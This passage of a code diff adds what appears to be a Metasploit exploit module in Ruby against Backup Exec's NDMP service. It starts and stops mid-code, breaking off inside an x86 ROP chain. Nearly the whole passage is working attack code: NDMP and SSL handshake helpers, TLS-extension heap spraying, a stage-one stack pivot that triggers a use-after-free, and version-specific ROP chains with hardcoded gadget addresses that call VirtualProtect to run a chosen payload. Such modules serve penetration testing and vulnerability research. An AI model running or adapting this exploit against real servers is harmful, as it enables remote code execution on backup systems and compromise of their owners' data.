spray_payload) + + # We need to be able to detect as soon as a connection is made to the payload in order + # to stop spraying/trigger attempts ASAP + @payload_connected = false + if payload_instance.respond_to?(:handle_connection) + old_handle_connect = payload_instance.method(:handle_connection) + payload_instance.define_singleton_method(:handle_connection) do |*args| + @payload_connected = true + old_handle_connect.call(*args) + end + end + + if target.opts['Win8Upwards'] + # After this SSL request, the BIO struct is freed but still referred to in the new + # SSL context + print_status('Re-entering SSL mode on main socket...') + require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) + + # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF + attempt_triggers(s, spray_socks, spray_msg) + else + # Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race + attempt_race(s, spray_socks, spray_msg, ca_cert_id) + end + + handler + end + + private + + SSL_HANDSHAKE_REQUEST = 0xf383 + + class SSLRequest < XDR::Struct + class Opcode < XDR::Enum + member :test_cert, 1 + member :get_csr_req, 2 + member :give_signed_cert, 3 + member :start_ssl, 4 + seal + end + + attribute :opcode, Opcode + attribute :media_server_name, XDR::String[] + attribute :media_server_fqdn, XDR::String[] + attribute :media_server_addr, XDR::String[] + attribute :cert_id_1, XDR::Int + attribute :cert_id_2, XDR::Int + attribute :unknown1, XDR::Int + attribute :unknown2, XDR::Int + attribute :unknown3, XDR::Int + attribute :ca_cert, XDR::String[] + attribute :unknown4, XDR::Int + attribute :agent_cert, XDR::String[] + + def self.new_for_opcode(opcode) + new( + :opcode => opcode, + :media_server_name => 'foo', + :media_server_fqdn => 'foo', + :media_server_addr => 'foo', + :cert_id_1 => 0, + :cert_id_2 => 0, + :unknown1 => 0, + :unknown2 => 0, + :unknown3 => 0, + :ca_cert => '', + :unknown4 => 0, + :agent_cert => '' + ) + end + end + + class SSLResponse < XDR::Struct + attribute :unknown1, XDR::Int + attribute :unknown2, XDR::String[] + attribute :unknown3, XDR::Int + attribute :unknown4, XDR::String[] + + def empty? + (attributes[:unknown1].zero? && attributes[:unknown2].empty? && + attributes[:unknown3].zero? && attributes[:unknown4].empty?) + end + end + + class ServiceInfoResponse < XDR::Struct + attribute :error, XDR::Int + attribute :vendor_name, XDR::String[] + attribute :product_name, XDR::String[] + attribute :revision_number, XDR::String[] + attribute :auth_types, XDR::VarArray[XDR::Int] + end + + class HostInfoResponse < XDR::Struct + attribute :error, XDR::Int + attribute :hostname, XDR::String[] + attribute :os_type, XDR::String[] + attribute :os_version, XDR::String[] + attribute :host_id, XDR::String[] + attribute :unknown, XDR::VarArray[XDR::Int] + end + + # + # Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages. + # + def connect_ndmp(s, version, phase=nil) + if phase.nil? || phase == 1 + return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED) + end + + if phase.nil? || phase == 2 + return false unless s.prepare_and_write_ndmp_msg( + NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version)) + ) + end + + if phase.nil? || phase == 3 + msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN) + return false unless msg + fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero? + end + + true + end + + # + # Connect multiple NDMP sockets of a given version. Parallelizes over connection phases. + # + def connect_additional_sockets(num_socks, version) + socks = (0...num_socks).map do + NDMP::Socket.new(connect(false)) + end + + (1..3).each do |phase| + socks.each do |ss| + unless connect_ndmp(ss, version, phase) + fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})") + end + end + end + + socks + end + + # + # Send a Backup Exec-specific SSL NDMP request and receive the response. + # + def do_simple_ssl_request(s, opcode, ca_cert_id, phase=nil) + if phase.nil? || phase == 1 + req = SSLRequest.new_for_opcode(opcode) + req.cert_id_1 = req.cert_id_2 = ca_cert_id + msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr) + + if block_given? + last = s.prepare_and_write_ndmp_msg(msg, true) + return nil unless last + sleep(1) + yield true + s.raw_sendall(last, 0) + yield false + else + return nil unless s.prepare_and_write_ndmp_msg(msg) + end + end + + if phase.nil? || phase == 2 + msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST) + return msg ? SSLResponse.from_xdr(msg.body) : nil + end + + nil + end + + # + # Send a Backup Exec SSL NDMP request and receive the response, requiring the response + # to be empty. + # + def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil) + resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase) + if phase.nil? || phase == 2 + fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp + fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty? + end + end + + # + # Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes + # of the SHA-1 of the issuer and the raw serial number. + # + def get_cert_id(cert) + Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0] + end + + # + # Create a self-signed CA certificate and matching key. + # + def generate_ca_cert_and_key(key_len=2048) + ca_key = OpenSSL::PKey::RSA.new(key_len) + + ca_cert = OpenSSL::X509::Certificate.new + ca_cert.version = 3 + ca_cert.serial = 1 + ca_cert.subject = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF') + ca_cert.not_before = Time.now - 60 * 60 * 24 + ca_cert.not_after = Time.now + 60 * 60 * 24 * 365 + ca_cert.public_key = ca_key.public_key + + extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert) + ca_cert.extensions = [ + extn_factory.create_extension('subjectKeyIdentifier', 'hash'), + extn_factory.create_extension('basicConstraints', 'critical,CA:true') + ] + # Have to do this after creating subjectKeyIdentifier extension + ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer')) + + ca_cert.sign(ca_key, OpenSSL::Digest::SHA256.new) + + [ca_cert, ca_key] + end + + # + # Get and handle a certificate signing request from Backup Exec with the given CA + # certificate and key. + # + def handle_a_csr(s, ca_cert, ca_key) + resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0) + return nil if resp.nil? + request = OpenSSL::X509::Request.new(resp.unknown2) + + agent_cert = OpenSSL::X509::Certificate.new + agent_cert.version = 3 + agent_cert.serial = 2 + agent_cert.subject = request.subject + agent_cert.issuer = ca_cert.subject + agent_cert.not_before = Time.now - 60 * 60 * 24 + agent_cert.not_after = Time.now + 60 * 60 * 24 * 365 + agent_cert.public_key = request.public_key + + extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert) + agent_cert.extensions = [ + extn_factory.create_extension('subjectKeyIdentifier', 'hash'), + extn_factory.create_extension('basicConstraints', 'critical,CA:false') + ] + # Have to do this after creating subjectKeyIdentifier extension + agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer')) + + agent_cert.sign(ca_key, OpenSSL::Digest::SHA256.new) + + req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert) + req.ca_cert = ca_cert.to_s + req.agent_cert = agent_cert.to_s + return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)) + + agent_cert + end + + # + # Generate a TLS handshake record with the given payload. + # + def generate_tls_handshake_record(payload, required_fifth_byte=nil) + fail_with(Failure::Unknown, 'No payload') if payload.empty? + + # Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset + # 0x4) instead of in non-header data; here it's necessary to control the 5th byte of + # the header, which is the second byte of the length word + unless required_fifth_byte.nil? + payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100) + end + "\x16\x03\x01" + [payload.length].pack('n') + payload + end + + # + # Generate a TLS ClientHello record with the given Random and extensions (ie. for + # holding stages 2-4). + # + def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random) + if ec_formats_extn_payload.empty? && curves_extn_payload.empty? + fail_with(Failure::Unknown, 'No TLS extension payloads given') + end + if ec_formats_extn_payload.length > 0xff + fail_with(Failure::Unknown, 'Bad EC formats extension length') + end + if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff + fail_with(Failure::Unknown, 'Bad curves extension length') + end + if random.length != 0x20 + fail_with(Failure::Unknown, 'Bad random length') + end + + extns = '' + unless curves_extn_payload.empty? + extns << [ + 10, + curves_extn_payload.length + 2, + curves_extn_payload.length + ].pack('n*') + curves_extn_payload + end + unless ec_formats_extn_payload.empty? + extns << [ + 11, + ec_formats_extn_payload.length + 1, + ec_formats_extn_payload.length + ].pack('nnC') + ec_formats_extn_payload + end + + r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00" + r << [extns.length].pack('n') + extns + + r = "\x01" + [r.length].pack('N')[1...4] + r + + generate_tls_handshake_record(r) + end + + # + # Generate a TLS ClientHello record in a SSLv2 record with a given payload. + # + def generate_tls_in_sslv2_clienthello(payload) + fail_with(Failure::Unknown, 'No payload') if payload.empty? + fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1 + + r = "\x01\x03" + payload + [r.length | 0x8000].pack('n') + r + end + + # + # Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui. + # + def spray_tls_extensions(tls_spray_socks, ca_cert_id) + payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40 + spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20)) + + print_status('Spraying TLS extensions...') + (1..2).each do |phase| + tls_spray_socks.each do |ts| + require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase) + require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase) + + if phase == 2 + ts.raw_sendall(spray, 0) + sleep(0.1) + end + end + end + sleep(1) + end + + # + # Generate stage 1. + # + # This stage is what overwrites the freed BIO struct. It consists of a non-zero readable + # location (to prevent Backup Exec from falling over or failing) and a stack pivot to + # some offset from the current SSL socket buffer read location, which will hold a + # TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot + # offset will be different at each UAF trigger attempt; see attempt_triggers). + # + def generate_stage_1 + if target.opts['Arch'] == ARCH_X64 + stage_1 = [ + # +0x18 from here is a non-zero, readable location. This is the load address of + # becrypto.dll (which is non-ASLR) + 0xbe00000, + # On x64, we pivot into the current SSL socket buffer read location + 0x18 + # lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret + [0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14] + ].pack('Q<*') + else + stage_1 = [ + # +0x18 from here is a non-zero, readable location. This is the load address of + # becrypto.dll (which is non-ASLR) + 0x63100000, + # On x86, we pivot into the current SSL socket buffer read location + 0x4 + # mov esp, ebp; pop ebp; ret + target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d + ].pack('L<*') + end + stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length) + end + + # + # Generate stages 2 to 4. + # + # Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted + # to) onto the stack, bypassing Windows 8+'s check before certain functions (like + # VirtualProtect) that we have called them from within expected stack memory instead of + # the heap. + # + # Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable + # (but we only really need stage 4 executable anyway). + # + # Stage 4 is the user-selected Metasploit payload code. + # + def generate_stages_2_to_4 + stage_4 = payload.encoded + + if target.opts['Arch'] == ARCH_X64 + if target.opts['Version'] == 14 + stage_3 = [ + 0, # skipped by stage 2 + 0xbe31359, # push rax; pop rsi; ret + 0xbe01f72, # pop rax; ret + 0, + 0xbe3d250, # add rax, rcx; ret + 0xbe1c2f9, # pop r12; ret + 0xbe2ab32, # pop r8; ret + 0xbe2987c, # mov rcx, rax; call r12 + 0xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW] + 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe37f75, # push rax; pop rdi; ret + 0xbe43b25, # mov rcx, rsi; call r12 + 0xbe01f72, # pop rax; ret + 0, + 0xbe3d250, # add rax, rcx; ret + 0xbe6949a, # push rax; pop r12; ret + 0xbe4f7ec, # pop r14; pop r13; ret + 0xbe2ab32, # pop r8; ret + 0, + 0xbe2f917, # mov rdx, r12; mov ecx, 4; call r14 + 0xbe01f72, # pop rax; ret + 0xbe2ab32, # pop r8; ret + 0xbe36e8e, # mov rcx, rdi; call rax + 0xbe01a29, # ret + 0xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub] + 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe37f75, # push rax; pop rdi; ret + 0xbe1c2f9, # pop r12; ret + 0xbe2ab32, # pop r8; ret + 0xbe43b25, # mov rcx, rsi; call r12 + 0xbe399d0, # pop r13; ret + 1 << 31, + 0xbe33c3e, # mov rdx, r13; call r12 + 0xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret + 0xbe399d0, # pop r13; ret + 0, + 0xbe33c3e, # mov rdx, r13; call r12 + 0xbe2ab32, # pop r8; ret + 0x40, # PAGE_EXECUTE_READWRITE + 0xbe01a29, # ret + 0xbe5180b, # jmp rdi + 0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe63938 # push rsp; ret + ] + stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length + kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT') + stage_3[17] = stage_3[3] + kernel32_dll.length + stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0" + elsif target.opts['Version'] == 15 + stage_3 = [ + 0xbe68a34, # push rax; pop rbx; ret + 0xbe087c8, # pop rax; ret + 0, + 0xbe60dc0, # add rax, rcx; ret + 0xbe9b627, # mov rcx, rax; call r12 + 0xbe4929d, # ret + 0xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub] + 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe34c0c, # push rax; pop rbp; ret + 0xbefc534, # mov rcx, rbx; call r12 + 0xbe087c8, # pop rax; ret + 0, + 0xbe60dc0, # add rax, rcx; ret + 0xbe9b627, # mov rcx, rax; call r12 + 0xbefc526, # mov rdx, rcx; call r12 + 0xbe9ad68, # mov rcx, rbp; call r12 + 0xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub] + 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe43269, # push rax; pop rsi; ret + 0xbefc534, # mov rcx, rbx; call r12 + 0xbebd50e, # pop r13; ret + 0, + 0xbe97c4e, # mov rdx, r13; call r12 + 0xbeae99d, # pop r8; ret + 0x40, # PAGE_EXECUTE_READWRITE + 0xbe3c9c0, # test rdx, rdx; setne al; ret + 0xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret + 0xbe4929d, # ret + 0xbe9436d, # jmp rsi + 0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe2184d, # pop rdi; ret + 0xbebd50e, # pop r13; ret + 0xbe9a8ac # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi + ] + stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length + stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length + stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0" + elsif target.opts['Version'] == 16 + stage_3 = [ + 0xbe4e888, # push rax; pop rbx; ret + 0xbe01f72, # pop rax; ret + 0, + 0xbe610f0, # add rax, rcx; ret + 0xbe9c70c, # mov rcx, rax; call r12 + 0xbe01c2c, # ret + 0xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub] + 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe12ed0, # pop rdi; ret + 0xbe45a01, # pop r13; ret + 0xbeaedb0, # mov rbp, rax; call rdi + 0xbe5851a, # mov rcx, rbx; call r12 + 0xbe01f72, # pop rax; ret + 0, + 0xbe610f0, # add rax, rcx; ret + 0xbe9c70c, # mov rcx, rax; call r12 + 0xbefe516, # mov rdx, rcx; call r12 + 0xbe9bf28, # mov rcx, rbp; call r12 + 0xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub] + 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe433b9, # push rax; pop rsi; ret + 0xbe5851a, # mov rcx, rbx; call r12 + 0xbe45a01, # pop r13; ret + 0, + 0xbe2e55e, # mov rdx, r13; call r12 + 0xbe27c76, # pop r8; ret + 0x40, # PAGE_EXECUTE_READWRITE + 0xbe3caf0, # test rdx, rdx; setne al; ret + 0xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret + 0xbe01c2c, # ret + 0xbe56cad, # jmp rsi + 0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret + 0, + 0, + 0, + 0, + 0xbe12ed0, # pop rdi; ret + 0xbe45a01, # pop r13; ret + 0xbe9ba6c # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi + ] + stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length + stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length + stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0" + end + else + if target.opts['Version'] == 14 + stage_3 = [ + 0x63117dfa, # pop edi; ret + 0x63101514, # ret + 0x63116cc9, # pop esi; ret + 0x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub] + 0x631017ff, # pop ebp; ret + 0x631213e6, # add esp, 0x20; ret + 0x63137a3c, # pushal; ret + 'KERN'.unpack('